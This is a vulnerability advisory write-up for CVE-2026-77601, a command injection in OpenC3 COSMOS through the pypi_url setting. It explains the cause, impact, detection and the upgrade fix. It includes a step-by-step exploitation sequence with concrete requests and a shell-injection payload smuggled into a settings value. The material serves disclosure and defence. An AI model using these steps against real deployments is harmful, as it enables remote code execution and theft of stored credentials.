CVE-2026-77601: 
Ruby vulnerability analysis and mitigation

CVE-2026-77601 is an authenticated OS command injection vulnerability in OpenC3 COSMOS, a command and telemetry system for embedded systems. An authenticated actor can write a malicious value to the pypi_url setting via the JSON-RPC endpoint POST /openc3-api/api, which is then interpolated unescaped into a shell command executed via Ruby backtick during plugin installation with Python dependencies. The vulnerability affects OpenC3 COSMOS versions 5.12.0 through 7.2.1 (inclusive) and is fixed in version 7.3.0. It carries a CVSS v3.1 base score of 8.8 (High) (Github Advisory, OpenC3 Advisory). The vulnerability was published to the GitHub Advisory Database on September 23, 2026, and was credited to researcher Marnick39.

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), specifically in openc3/lib/openc3/models/plugin_model.rb at line 288, where PluginModel.install_phase2 reads the user-controlled pypi_url setting and interpolates it directly into a Ruby backtick shell invocation: output = `/openc3/bin/pipinstall #{pip_args}`. Because Ruby backticks execute via /bin/sh -c, shell metacharacters such as ; (command separator) and # (comment) in the pypi_url value are interpreted by the shell, allowing arbitrary command injection. The attack requires the target plugin to contain a requirements.txt or pyproject.toml file (which the attacker controls by supplying the plugin gem), and the pypi_url setting must be writable — in the open-source edition, any authenticated user can write it since the permission: argument is not enforced; in the Enterprise edition, the admin role is required. The sibling installer python_package_model.rb:95 was not vulnerable because it used an argv array via ProcessManager.spawn, avoiding shell interpretation (OpenC3 Advisory, Fix PR).

Successful exploitation grants arbitrary OS command execution as the openc3 service user (uid 1001) inside the openc3-cosmos-cmd-tlm-api container. This process holds Redis/Valkey credentials and bucket (S3) credentials and operates across every scope, meaning an attacker can read or tamper with stored telemetry and commanding data, exfiltrate credentials, and potentially pivot to other services accessible from the container. In the open-source edition, the attack surface is broad — any authenticated user can trigger it — while in the Enterprise edition the impact is more limited since admins already have plugin-driven code execution by design (OpenC3 Advisory, Github Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, providing a complete, step-by-step HTTP attack sequence with concrete payloads (e.g., https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #) confirmed end-to-end against a live OpenC3 COSMOS deployment (OpenC3 Advisory). There is no evidence of in-the-wild exploitation at the time of disclosure, and the CVE is not listed in the CISA KEV catalog. The EPSS score is 0.0, reflecting the nascent disclosure timeline. The vulnerability is not automatable (requires authenticated access), but the low privilege requirement in the open-source edition makes it accessible to any user with valid credentials (Github Advisory).

1. Obtain a valid session token: Send a POST request to /openc3-api/auth/verify with a valid password to establish an authenticated session: POST /openc3-api/auth/verify {"password":"<password>"}.
2. Inject malicious pypi_url via JSON-RPC: Write a shell-metacharacter-laden value to the pypi_url setting using the set_setting method: POST /openc3-api/api {"jsonrpc":"2.0","method":"set_setting","params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"],"keyword_params":{"scope":"DEFAULT"},"id":1}. The trailing # comments out the /simple suffix appended by the server and any remaining pip arguments.
3. Upload a malicious plugin gem: Craft a plugin gem containing a requirements.txt file (to trigger the Python install pathway) and upload it: POST /openc3-api/plugins (multipart form: plugin=@malicious.gem, scope=DEFAULT).
4. Trigger plugin installation: Initiate installation using the plugin hash returned in step 3: POST /openc3-api/plugins/install/<id> with plugin_hash and scope=DEFAULT.
5. Shell command executes: During PluginModel.install_phase2, the server constructs `/openc3/bin/pipinstall -i https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; # /simple -r <requirements_path>` and passes it to /bin/sh -c, which interprets the ; separators and executes the injected command as the openc3 service user (uid 1001) (OpenC3 Advisory).

• Network: Unexpected POST requests to /openc3-api/api with set_setting method and pypi_url parameter containing shell metacharacters (;, #, |, &); POST requests to /openc3-api/plugins uploading unusual or minimal gem files; POST requests to /openc3-api/plugins/install/<id> shortly after an anomalous set_setting call.
• Logs: API access logs showing set_setting calls for pypi_url with values deviating from a valid HTTP(S) URL pattern; log entries from openc3-cosmos-cmd-tlm-api (puma) showing plugin installation triggered by unexpected users.
• File System: Unexpected files written to /tmp/ (e.g., files named with attacker-chosen markers like A1_PWNED); new scripts, cron jobs, or binaries created by the openc3 user (uid 1001) in writable directories; modified or exfiltrated credential files for Redis/Valkey or S3 bucket storage.
• Process: Unusual child processes spawned by the Ruby/puma process during plugin installation (e.g., /bin/sh, curl, wget, bash, python) that are not part of normal pipinstall execution (OpenC3 Advisory).

Upgrade OpenC3 COSMOS to version 7.3.0, which resolves the vulnerability by replacing the Ruby backtick shell invocation with Open3.capture2e using an argv array (no shell), and adds a PypiUrl.validate utility that rejects any pypi_url value that is not a valid HTTP(S) URL, falling back to the default https://pypi.org/simple (Fix PR, Fix Commit). For deployments that cannot immediately upgrade, consider restricting network access to the /openc3-api/api and /openc3-api/plugins endpoints, auditing authenticated user accounts to minimize exposure, and monitoring for anomalous set_setting calls targeting pypi_url. In Enterprise deployments, ensure the admin role is granted only to trusted personnel (Github Advisory).